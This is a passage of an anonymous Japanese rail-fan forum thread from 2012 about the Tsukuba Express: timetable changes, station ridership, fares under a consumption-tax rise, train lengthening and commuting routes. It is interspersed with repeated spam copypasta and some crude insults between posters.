つくば行の運転士はどこから来るのだろうとなる。
365:名無し野電車区
12/08/05 08:31:02.17 dlLToTa6O
田舎者の定義をご存知？
①駅まで車で送り迎え
②原付や軽自動車が多い
③買い物は車で出かける
これだけで立派な田舎よ
366:名無し野電車区
12/08/05 11:55:59.42 oauGH6oh0
>>365
それが疑問。八潮駅の設計図がないから何とも言えない。自動車で通勤しているのだろうか。
ageてるマルチは死ねばいいのに。携帯だから水遁効くかな？
367:名無し野電車区
12/08/05 11:58:13.17 oauGH6oh0
ああ安価ミスッタ
>>364だ
368:名無し野電車区
12/08/06 09:46:06.92 GWvKE03R0
ラッシュ時快速廃止
イバ人涙目
不動産の広告変えないの？
369:名無し野電車区
12/08/06 10:13:47.49 W/9I4/Qy0
>>323
青井は五反野、北綾瀬、綾瀬とそんなに離れてないからな。
バスもあるし。
対して六町は東側が綾瀬川で分断されてるから北綾瀬に出るのが
不便で綾瀬に行くには環七を通過しなくてはいけないので
バスだと使い物にならないからだろう。
まあ青井でも「運賃高いからあんまり乗らないよ」という声に
反して利用されているようだ。
370:名無し野電車区
12/08/06 10:58:30.68 pQA7yGNG0
>>368
＞イバ人涙目
本数増えるし、研究学園に通勤快速が停車するし、逆に狂喜乱舞かも。
そもそも、ラッシュ時の快速なんぞ、元から遅かっただろ？
371:名無し野電車区
12/08/06 11:04:48.35 pQA7yGNG0
>>358
おおたか以南なら、ラッシュ時は普通も区快も先発が先着だから区快に殺到とはならないんじゃないの？
守谷ではあるかもしんないけど、普通なら席が空いてるうちは、そっちを選ぶ客もいるだろうし。
柏の葉は問題になるほどいないし。
372:名無し野電車区
12/08/06 11:15:53.64 pQA7yGNG0
>>366
そもそも、現行の八潮5:20初の秋葉原行きのｳﾃｼはどうやってるんだろ？
なんか、頑として秋葉原発守谷行き最終のあとに八潮行きを設定しない謎の解明のヒントが
ありそうな気がするが。
373:名無し野電車区
12/08/06 11:21:39.07 IV+e1TeX0
>>372
もしかしたら、八潮には小規模ながら滞泊施設があったりして。
または駅前のビジネスホテルを間借り、とか？
374:名無し野電車区
12/08/06 11:34:18.37 pQA7yGNG0
>>373
宿泊施設があるなら最終のｳﾃｼが残っても問題なさそうなもんだが。
そういや、秋葉原行きの5:20発の他につくば行きの5:28発のｳﾃｼの問題もある。
375:名無し野電車区
12/08/06 13:12:08.59 aU0uzf250
>>368
>イバ人涙目
ラッシュ時に使えない普通を混ぜられるより、通勤快速+区快の本数が増えるので満足。
不動算屋さんは、昼間閑散時の所要時間で、大手町まで何分・新宿まで何分と書いてもok。
京王とか田都なんかどうするわけ？
376:名無し野電車区
12/08/06 20:02:22.37 GWvKE03R0
始発駅から7駅目まで退避できないのが致命的欠陥だな
これじゃ団子しかないな
普通3～４駅目にあるよね
377:名無し野電車区
12/08/06 22:44:19.18 B4OgHBfa0
>>371
守谷もめちゃ多いし、柏の葉も最近はかなり利用者多い
378:名無し野電車区
12/08/06 23:57:33.57 IV+e1TeX0
>>375
まあ、電車の乗継ぎを0分で出来る超能力者だからなwww
379:名無し野電車区
12/08/07 00:00:55.13 /Cv245Xw0
馬鹿がテンプレすら貼らずに次スレ建ててるんだけど、これ身代わりでok?
ｽﾚﾘﾝｸ(rail板)l50
380:名無し野電車区
12/08/07 09:33:31.13 tmzNAAih0
>>379
いいんじゃね？
381:371
12/08/07 09:56:16.14 tmzNAAih0
>>377
まあ、守谷も柏の葉も遠近分離の「遠」っていうことで。
382:名無し野電車区
12/08/07 11:08:15.56 tmzNAAih0
>>376
致命的ってほどでもないだろ？それを補うために、加減速のいい車両使ってるわけで。
383:名無し野電車区
12/08/07 11:48:20.33 4npVdsOA0
こんなに不動産価格が暴落してるのに
なんでおおたかの森以北に住まなきゃならんのか・・
これからラッシュ時はますます減速するって言うのに
384:名無し野電車区
12/08/07 12:21:01.26 tmzNAAih0
>>383
不動産価格が下がる以上に収入が下がってるんだから仕方ないだろ？
385:名無し野電車区
12/08/07 15:20:51.36 /Cv245Xw0
毎日毎日スレ潰しをするお前らを
ｒ‐┐ｒ‐､ｧｧ ｒ‐┐ｒ‐┐ ┌‐ｕ‐┐ー‐､ /1
| | | ヽ. . | ｜| |_ [ _ ] ｀ｰ'.ノ |
|_.ノ｜..ノ |_ノ |＿.ノ└‐リ__ﾉ |￣ .ﾉ @
してます。
￣￣￣￣V￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
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（´・ω・）
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386:名無し野電車区
12/08/07 18:11:45.75 tmzNAAih0
珍しくちょっと遅れたのは例のドアの持病？それとも、別の理由？
387:通勤快速 つくば
12/08/07 19:21:20.80 DlmPhj8vI
今度出来る通勤快速は何色になるの🎨❓
緑色かな?
あとおおたかの森を忘れていた。
JR常磐線には変化はあるの❔
388:名無し野電車区
12/08/07 21:14:14.38 +wG18VZB0
ラッシュ方向が全停車化する研究学園、柏の葉、八潮の中では
柏の葉が北柏とたなかから少し奪うくらいじゃなかろうか。
389:名無し野電車区
12/08/08 08:25:35.10 6qpXV5is0
>>387
快速扱いで赤じゃね？
390:名無し野電車区
12/08/09 00:22:13.18 kvI2bkqC0
トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
γ─０＞０＞０＞‐──┴─┴─┴───┴─┴─┴────-､
0＿[〔|97|万世橋〕]＿０_γ=====KEISEI BUS CO.LTD========================ﾐ ＝
lγ:──:┬──‐┬､||..＿＿＿_ 〔二二〕 ＿＿＿_..ｉｉ─ｉｉ─ｉｉ 〔_＿_〕.〔_＿_〕 〔＿ヽヽ .|
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391:名無し野電車区
12/08/09 00:23:16.05 OaH0uVRn0
トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
γ─０＞０＞０＞‐──┴─┴─┴───┴─┴─┴────-､
0＿[〔|97|万世橋〕]＿０_γ=====KEISEI BUS CO.LTD========================ﾐ ＝
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392:名無し野電車区
12/08/09 00:26:40.71 kvI2bkqC0
一日に一度ここ見るの楽しみにしてるのに、これを見るとすごくやな気持ちになるよ。
一人のちょっとした悪ふざけなんだろうけど、どうして毎日こんな気持ちにならないといけないのか悲しくなるね。
小さい頃から開通するの待ち続けて、もうすぐと思ったら五年も延期されて、
一緒に乗ろうねって言ってたばあちゃんは乗れずに死んじゃってさ…
それだけＴＸには強い思いがあるのに、どうして楽しい会話を邪魔するのかね…
￣￣￣￣V￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
∧＿∧
（´・ω・）
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. ＼＼ ＼ （ ） お前の死んだBBAなんかどうだっていいよｗ
. ＼＼ ＼ / ヽ
. ＼＼ ／ | | .|
. ＼∧＿∧ (⌒＼|_＿_/ /
（ ）つまんねーんだよお前 ∧＿∧
_/ ヽ ＼ （ ） ギャハハ泣かすなよオメーら
| ヽ ＼ / ヽ、
| |ヽ、二⌒) ／ | | |
おばあちゃん云々書いた本人だけど、毎日毎日ふざけて貼られてんの見んのうんざりだから、もう勘弁して。
￣￣￣￣V￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
∧＿∧
( ´･ω･`) ∧＿∧
／ ＼ （ ）
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||＼..∧＿∧ (⌒＼|_＿./ ./
||. （ ） ~＼___＿_ノ| ∧＿∧
/ ヽ お前頭大丈夫?＼| （ ） 何言ってんだこいつ
393:名無し野電車区
12/08/09 00:26:45.88 OaH0uVRn0
トロピカル様ノ御降臨ナリ！！
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破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
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394:名無し野電車区
12/08/09 00:35:50.46 OaH0uVRn0
トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
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395:名無し野電車区
12/08/09 00:35:53.77 kvI2bkqC0
一日に一度ここ見るの楽しみにしてるのに、これを見るとすごくやな気持ちになるよ。
一人のちょっとした悪ふざけなんだろうけど、どうして毎日こんな気持ちにならないといけないのか悲しくなるね。
小さい頃から開通するの待ち続けて、もうすぐと思ったら五年も延期されて、
一緒に乗ろうねって言ってたばあちゃんは乗れずに死んじゃってさ…
それだけＴＸには強い思いがあるのに、どうして楽しい会話を邪魔するのかね…
￣￣￣￣V￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
∧＿∧
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. ＼＼ ＼ / ヽ
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（ ）つまんねーんだよお前 ∧＿∧
_/ ヽ ＼ （ ） ギャハハ泣かすなよオメーら
| ヽ ＼ / ヽ、
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おばあちゃん云々書いた本人だけど、毎日毎日ふざけて貼られてんの見んのうんざりだから、もう勘弁して。
￣￣￣￣V￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
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/ ヽ お前頭大丈夫?＼| （ ） 何言ってんだこいつ
396:名無し野電車区
12/08/09 11:42:58.38 RzAPc2Yg0
つ>>385
397:名無し野電車区
12/08/09 13:25:45.22 hNAw94HZ0
>>387-388
今回の改正は快速の通勤快速化で停車駅が増えるよりは
区間快速と普通の本数が増える効果の方が大きいと思うよ。
398:名無し野電車区
12/08/10 09:15:09.88 TThh4rji0
まつりつくば臨時
URLﾘﾝｸ(www.mir.co.jp)
399:名無し野電車区
12/08/10 22:34:36.28 gKgqzxEx0
思ったのだが上りの通快ってさ、現状の快速でも相当混んでるけどさらに停車駅が増えるんだろ？
だとしたら六町で停めても乗れなくないか？
通快が八潮に到着した時点で隣の３番線の各停の椅子が空いてるなら多少の降車はあるのだろうけど
400:名無し野電車区
12/08/10 23:23:47.94 e5wkoEk/0
消費税増税で、運賃値上げするのでしょうか？
401:名無し野電車区
12/08/11 02:13:40.74 rIzK505e0
>>400
>消費税増税で、運賃値上げするのでしょうか？
5%アップは厳しいね。秋葉～つくば＝1200-1210円。1210円にするかなぁ。
ちょっと、めんどくさいがPASMOなら大丈夫か。
402:名無し野電車区
12/08/11 08:08:04.67 SstI/wqo0
消費税が上がれば景気は悪くなる。
景気が悪くなれば家賃が下がる。
家賃が下がれば、都心近くに住めるようになる。
都心近くに住めば、電車賃は安くなるでしょうか
403:名無し野電車区
12/08/11 08:17:19.58 sMFlZqgI0
給料が下がり家賃が下がる
通勤交通費は会社負担だからいいけど
非正規社員や家族を持ったら交通費は高負担だ
交通費は安いに越したことは無い
不動産価格が暴落してる今
よく考えて住まいを検討することだ
404:名無し野電車区
12/08/11 09:34:11.71 1EsLyo/I0
>>400-401
こんな感じじゃね？
160-200-240-280-320-360-400-450-500-550-600-650-700-750-800-850-900--950-1000-1050-1100-1150（現行）
170-210-250-300-350-400-450-500-550-600-650-700-750-800-850-900-950-1000-1050-1100-1150-1200（消費税１０％）
405:名無し野電車区
12/08/11 09:42:22.37 1EsLyo/I0
８％時の分を追加すると
160-200-240-280-320-360-400-450-500-550-600-650-700-750-800-850-900--950-1000-1050-1100-1150（現行）
160-210-250-290-330-380-410-460-510-570-620-670-720-770-820-870-930--980-1030-1080-1130-1180（消費税８％）
170-210-250-300-350-400-450-500-550-600-650-700-750-800-850-900-950-1000-1050-1100-1150-1200（消費税１０％）
406:名無し野電車区
12/08/11 11:04:35.85 KTT5MAex0
>>404
こうじゃないの？
160-200-240-280-320-360-400-450-500-550-600-650-700-750-800-850-900--950-1000-1050-1100-1150(現行)
170-210-250-290-330-370-420-470-520-580-630-680-730-790-840-890-940-1000-1050-1100-1150-1200(10％)
407:名無し野電車区
12/08/11 11:06:17.56 SstI/wqo0
>>403
＞不動産価格が暴落してる今
運賃を不動産価格に連動させて欲しい
408:名無し野電車区
12/08/11 13:46:10.22 obWf65fr0
守谷市の100坪の土地がなんと1000円！
URLﾘﾝｸ(www.fujinoestate.jp)
409:名無し野電車区
12/08/11 19:29:38.95 o/R4QVbl0
南流山と秋葉原のホーム延伸写真をまとめました
URLﾘﾝｸ(uproda.2ch-library.com)
410:名無し野電車区
12/08/11 19:35:58.78 GWzHRta70
>>409
警告
相手にしないこと
411:名無し野電車区
12/08/11 19:46:13.57 tx+NQE8Z0
>>409
乙
綺麗にまとめられててわかりやすいね
412:名無し野電車区
12/08/11 22:45:38.89 Od2giqpY0
>>409,411
てめえらいい加減にしろよ
413:名無し野電車区
12/08/12 00:01:59.32 7qZPnomq0
>>409
gifじゃねーかアホ
もっとない頭使えやカス
414:名無し野電車区
12/08/12 10:12:59.78 1c+3JRBf0
>>408
建築不可の家庭菜園１００坪なら、買っておくかと思ったら
・・・ミスプリントかorz
415:名無し野電車区
12/08/14 08:56:13.87 WJwAPilm0
トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
γ─０＞０＞０＞‐──┴─┴─┴───┴─┴─┴────-､
0＿[〔|97|万世橋〕]＿０_γ=====KEISEI BUS CO.LTD========================ﾐ ＝
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416:名無し野電車区
12/08/15 10:42:53.10 9NKlRELE0
トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
γ─０＞０＞０＞‐──┴─┴─┴───┴─┴─┴────-､
0＿[〔|97|万世橋〕]＿０_γ=====KANTO BUS CO.LTD========================ﾐ ＝
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417:名無し野電車区
12/08/15 16:05:51.40 ZflvdmlY0
バ、莫迦ナ！制御不能ダト？！
ULTIMA DRAGON ZERO
コノ伝説ノ最終兵器「究極竜零式」様ニハ完璧且ツ安全ナ設計ヲ施シタ筈！！
コノ足元以下を走ルニモ鉄屑共ニ及ヌ等有リ得ヌ！
クッ！減速セヨ減速セヨ！！制御装置何故回復セヌノダ！！
何イ！暴走ガ光線装置ニ迄？！脱出装置モ故障？アアアアア！
コ、コノトロピカル様ガコノ様ナ事デ何故鉄屑ニ！！何故ダアアアアアアア！！！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
ノ─＿─ｘ＞ヘ＞‐──┴─┴─┴───┴─┴─┴────-､ (巛ミ彡ミ彡ミ彡ミ彡ミ彡）ミ彡ミ彡）ミ彡)ﾎﾞｵｵｵ
ｷﾞｷﾞｷﾞ ノ[〔|XX|ＳＯＳ〕]＿０_γ=====KE●EI BUS CO.LTD===…===========●======ﾐ ＝ ,,从.ノ巛ミ 彡ミ彡）ミ彡ミ彡ミ彡）ミ彡)''"
ｷﾞｷﾞｷﾞｷﾞｷﾞlγ:──:┬──‐┬､||..＿＿＿_ 〔二二〕 ＿＿＿_..ｉｉ─ｉｉ─ｉｉ 〔●_〕.〔_＿_〕 〔＿ヽヽ .|ミ彡）彡ミ彡）彡ミ彡）ミ彡）ミ彡)'
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418:名無し野電車区
12/08/16 09:01:55.31 olvwYJl70
トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
γ─０＞０＞０＞‐──┴─┴─┴───┴─┴─┴────-､
0＿[〔|97|万世橋〕]＿０_γ=====KISEI BUS CO.LTD========================ﾐ ＝
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419:名無し野電車区
12/08/18 11:18:13.01 OTEZSbEr0
バ、莫迦ナ！制御不能ダト？！
ULTIMA DRAGON ZERO
コノ伝説ノ最終兵器「究極竜零式」様ニハ完璧且ツ安全ナ設計ヲ施シタ筈！！
コノ足元以下を走ルニモ鉄屑共ニ及ヌ等有リ得ヌ！
クッ！減速セヨ減速セヨ！！制御装置何故回復セヌノダ！！
何イ！暴走ガ光線装置ニ迄？！脱出装置モ故障？アアアアア！
コ、コノトロピカル様ガコノ様ナ事デ何故鉄屑ニ！！何故ダアアアアアアア！！！！
￣￣￣Ｖ￣￣￣￣￣￣￣￣￣￣￣
ノ─＿─ｘ＞ヘ＞‐──┴─┴─┴───┴─┴─┴────-､ (巛ミ彡ミ彡ミ彡ミ彡ミ彡）ミ彡ミ彡）ミ彡)ﾎﾞｵｵｵ
ｷﾞｷﾞｷﾞ ノ[〔|XX|ＳＯＳ〕]＿０_γ=====KE●EI BUS CO.LTD===…===========●======ﾐ ＝ ,,从.ノ巛ミ 彡ミ彡）ミ彡ミ彡ミ彡）ミ彡)''"
ｷﾞｷﾞｷﾞｷﾞｷﾞlγ:──:┬──‐┬､||..＿＿＿_ 〔二二〕 ＿＿＿_..ｉｉ─ｉｉ─ｉｉ 〔●_〕.〔_＿_〕 〔＿ヽヽ .|ミ彡）彡ミ彡）彡ミ彡）ミ彡）ミ彡)'
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420:名無し野電車区
12/08/21 12:42:16.73 nAiJSoQD0
南流山から新宿へ行こうと思うのだが、秋葉原から総武線(と中央線を乗り継ぐ)か新御徒町で大江戸線に乗り換えるか、はたまた武蔵野線＋埼京線で行くかのどの選択肢が最善なんだろうね。
421:名無し野電車区
12/08/21 12:49:58.92 XyuW292j0
武蔵野線ー京葉線ー中央快速線
422:名無し野電車区
12/08/21 13:38:14.52 nAiJSoQD0
京葉→中央快速の乗り継ぎとＴＸ→総武線の乗り継ぎのどちらが大変か。
埼京線経由と京葉線経由が大体1時間なんだよね。
4つのなかで乗り換えが楽なのが新御徒町で、その次が武蔵浦和(これも結構不便だが)
…大江戸線使うか。>>421さんありがとうございました。
423:名無し野電車区
12/08/21 21:43:57.49 II899IA9P
乗客数が伸びてる駅と伸びてない駅の差が通勤快速に反映されたか
>>376
北千住に待避線があったら
・交互発着で朝ラッシュが速くなってた
・南千住と浅草は平日通勤時間帯の優等通過にしてた
今年６月実績
秋葉原 59,300
北千住 40,200
南流山 31,400
おおたか31,100
守谷 24,900
つくば 16,700 交流
八潮 16,300 通勤快速停車！
新御徒町16,000
柏の葉 12,900 通勤快速停車！
六町 11,500 祝 通勤快速停車！！
三郷中央 9,600 通勤快速通過・・・
浅草 8,800
青井 6,000 通勤快速通過・・・
研究学園 5,200 祝 通勤快速停車！！ 交流
南千住 4,400
みらい平 3,600 交流
柏たなか 3,100
みどりの 3,000 交流
センパ 3,000
万博記念 2,200 交流
424:名無し野電車区
12/08/21 21:50:15.43 C7wYMTza0
>>420
>南流山から新宿へ行こうと思うのだが
夏に一番涼しい、冬に寒くない：TX + 大江戸線 45分(17分+乗換8分+19分) 710円
普通に秋葉経由 45分（乗換込み) 710円
安い：新松戸～常磐線 など全部JR各種 以下540円のショッピングリストです。
武蔵浦和経由 64分（乗換込み）
新松戸・日暮里経由 60分（乗換込み）
武蔵野線西船橋～総武線 67分（乗換込み）
武蔵野線～東京～新宿 乗車59分 乗換14分 73分
425:名無し野電車区
12/08/21 22:28:14.07 2Y7NqtlG0
>424
費用対効果（所要時間短縮）を解りやすく説明していて良いね！
あとは各人の価値観で選択すればＯＫ
のんびりＪＲファンも良し、サクサク新し物好きも良し
426:名無し野電車区
12/08/21 22:34:34.44 nAiJSoQD0
>>424
帰宅してまいりましたので報告。
行きは大江戸線経由。新宿西口で迷わなければおそらく最速
帰りの東京での京葉線乗り継ぎは実際には7分で出来て65分。勿論動く歩道を速歩きなのだが
20時丁度発の埼京線通勤快速に乗れば57分に着く。
中央快速+総武線+武蔵野線だと京葉線経由と同じ時間。
時間を優先すればやはりＴＸが優位か。地下だから快適性でも大江戸線が一位だな
どの経路でも乗り継ぎが大変だから料金か時間か、ってところだな
427:名無し野電車区
12/08/21 23:00:12.49 2Y7NqtlG0
乗り継ぎは、ある程度勝ち目が見込める中から、リスク覚悟で
色々試してみるのが良いと思う
長い人生、ある程度の「冒険」もスキルＵＰに不可欠だし、
自分だけの「納得コース」が発見できる可能性もあるし
428:名無し野電車区
12/08/22 17:03:24.91 0pTi0Pti0
ＴＸ２０００系は８両化を基準に４Ｍ４Ｔで設計され、
現状は４Ｍ２Ｔ見合いで出力調整中だが、雨天加速時に
Ｍ車駆動輪の空転音を時折耳にするな
８両化時に出力を元に戻したら、空転が頻発しそうだ
429:名無し野電車区
12/08/23 00:58:51.42 ZsfmstKW0
しかし、８両化の兆しがまったく見えない‥。
消費税増税により実現が遠のいていくのでは。
430:名無し野電車区
12/08/23 04:52:29.19 eiQjAG420
TXから新宿まで通勤で使ってるが、秋葉原～JR経由と新御徒町～大江戸線経由を
何度か切り替えて比較した結果、最終的に新御徒町乗り換えで定期買った。
メリットは
１）新御徒町での乗り換えが楽（慣れれば２分接続とかでもいける）
２）JR新宿駅と比べると新宿西口駅が格段に空いてて楽
デメリットは帰りのTXで座れないことくらいだな。
一時期、TX以外の区間は定期を買わずに、行きは大江戸線で楽に乗り換え、
帰りはJRで秋葉原から座って帰宅なんてこともやってた。
431:名無し野電車区
12/08/23 05:32:25.48 i2pwpkwd0
TXの定期を秋葉原まで買って折り返し乗車できないの。
432:名無し野電車区
12/08/23 08:23:36.78 DI1SPG+T0
>>430
帰宅時、大江戸線は全て着席可能だから、ＪＲ常磐線なら
上野～松戸・柏間とほぼ同じ都内～おおたかの森・守谷間
２０～３０分程度なら、折り返ししてまで座りたいとは
俺は思わない
みらい平（我孫子）以遠なら座りたい気持ちはわかるが…
433:名無し野電車区
12/08/23 10:08:24.37 n1pcKrKM0
イバから新宿に通勤すること自体がおかしいよ
434:名無し野電車区
12/08/23 13:55:01.39 DI1SPG+T0
>>433
そう言うあんたはどこの住人？
勤め先はあるの？
バカなの？
死ぬの？
435:名無し野電車区
12/08/23 20:00:45.78 b6JRMJqO0
自営業だけど
436:名無し野電車区
12/08/23 20:04:42.58 ccgBDoE80
ああ、自宅警備員ね。
437:名無し野電車区
12/08/23 23:27:51.87 DI1SPG+T0
>>435
そう言うあんたはどこの住人？
ＴＸは東京・埼玉・千葉・茨城のどれが欠けても
開業できなかった３セクであることをお忘れなく
438:430
12/08/24 02:23:02.02 xPKypL350
>>431
それやると都営との連絡定期が作れなくなるので、どちらかを
磁気券にしないと新御徒町の乗換改札を通れなくなる。
それに新御徒町を利用してみて分かったが、個人的には
追加料金払ってまで折り返し乗車するメリットは感じられない。
秋葉原に戻っても、座るには１本見送りだし、そうこうしてる間に
さっさと家に帰ってゆっくりした方がいい。
>>432
俺も最終的には、帰りの着席よりも乗り換えの楽さを取って
往復とも新御徒町乗り換えにした。
直流区間の住民なので、座れなくても苦痛な距離じゃないし、
車両選べば六町や八潮あたりで空くし。
439:名無し野電車区
12/08/24 11:18:48.78 JWezmWeZ0
７周年記念age
440:名無し野電車区
12/08/24 14:27:29.13 eVt4t16f0
西武って1枚で2区間定期売ってるけど
結局和光市から池袋間の西武とメトロの定期代の合計で割引無しだから
考えた奴も買う奴も馬鹿なんじゃないかと思う
T字形定期なら定期券発売所で相談すれば買える場合もあるのでは？
441:名無し野電車区
12/08/24 19:16:59.82 lIMjrvP0O
田舎者を東京に運び続けて７周年
442:名無し野電車区
12/08/24 20:51:39.52 WwWkAi7z0
もう７年も経ったか。それで、債務の弁済の見通しは。
443:名無し野電車区
12/08/24 21:38:14.09 +8C9/Lot0
>>442
当初見込みでは開業１０年で単年度黒字ってことで、返済計画ができていたのが、
開業５年で単年度黒字。
当然、返済に特に問題はないはず。
444:名無し野電車区
12/08/24 22:55:43.83 C0DvbS4w0
秋葉原と南流山の改良・ホーム延伸工事が１０月に竣工し、
いよいよ全駅で８両化工事が本格化することをキボン
複数の施工業者を公平に割り振れば、工期は１年以内で全然
問題無しだし、０８年に全駅の延伸設計は着手済だし、後は
ＴＸ側のやる気のみだな
車両は日立も川重も余裕をもって対応可能だし、早めの着手
さえなされれば、何ら問題なし
445:名無し野電車区
12/08/25 07:15:04.61 DJDy1t3j0
長期借入金が
22年度は50億円減
23年度は80億円減
現在3000億円を割った
この調子なら30年ちょっとで返せる
まあ1200億円は無利子らしいから
実質は20年ぐらいで有利子を優先返済すればOK
東京延伸しない前提だが。
446:名無し野電車区
12/08/25 10:55:10.11 OMicThtn0
南流山のホーム伸ばす部分の壁の駅名票が
LEDで光輝いているね
447:名無し野電車区
12/08/25 11:09:09.54 grQ3z2Pn0
>>445
>東京延伸しない前提だが。
東京延伸以前に、８両化・１０両化、車両全検、各種設備の保守
・更新・改良など出費の時期を上手く計画しないと、財務負担が
集中するな。
３セクなのだから、沿線住民の自治体財政負担に応えるためにも
これらの設備投資計画の早期具体化と開示を願いたい。
448:名無し野電車区
12/08/25 11:24:30.58 dNzij9/60
>>445
＞この調子なら30年ちょっとで返せる
そこで民営化ですよ。
>>447 の言う設備投資の是非を市場に問うべきでしょうか。
449:名無し野電車区
12/08/25 11:42:52.02 grQ3z2Pn0
>>448
民営後なら市場に問えるが、あと３０年ちょっとまでは
到底待てないし。
設備投資は広い意味で「待ったなし」だからね。
450:名無し野電車区
12/08/25 14:56:18.70 LiQRPiOS0
>>432
おれは我孫子駅利用者だが
「みらい平＝我孫子」って図式はきわめて屈辱的で違和感ありw
都心からの所要時間の同等性、列車の本数、直流区間・交流区間のどの観点からみても
「我孫子＝柏の葉or守谷」が妥当で、守谷以北と同等ってこたあないと思うんだがwww
451:名無し野電車区
12/08/25 16:47:44.56 Oxo+nN4z0
>>450
>「我孫子＝柏の葉or守谷」
上野～我孫子 33分
秋葉～守谷 34分
秋葉～我孫子 44分
452:名無し野電車区
12/08/25 20:55:56.65 Hrudd7jg0
>>450
>>432は、常磐線は上野起点、TXは新御徒町起点なんじゃね？
453:名無し野電車区
12/08/25 22:02:18.55 ZyZhxYEF0
↑その通り、共に快速乗車として、上野～柏、新御徒町～守谷は共に30分
●柏の次は北柏と一瞬思ったが、別線なので次は「我孫子」
●守谷の次で、柏・我孫子間の距離に一番近いのが「みらい平」
みらい平と我孫子を比べる気は全く無いので、ご容赦戴きたく
454:名無し野電車区
12/08/25 22:04:32.08 b5wCDoyl0
実際、地理的に見ればみらい平＝藤代だろうね。
455:名無し野電車区
12/08/26 00:43:14.43 dOv5qluJ0
つくば側から見ると、みらい平＝ひたち野うしく～牛久なんだけどね。
456:名無し野電車区
12/08/26 14:46:17.87 oiA0CmBsO
電車の中で化粧をし
優先席でスマホを操作し
まじカッペ女の所作は
みっともなく下品
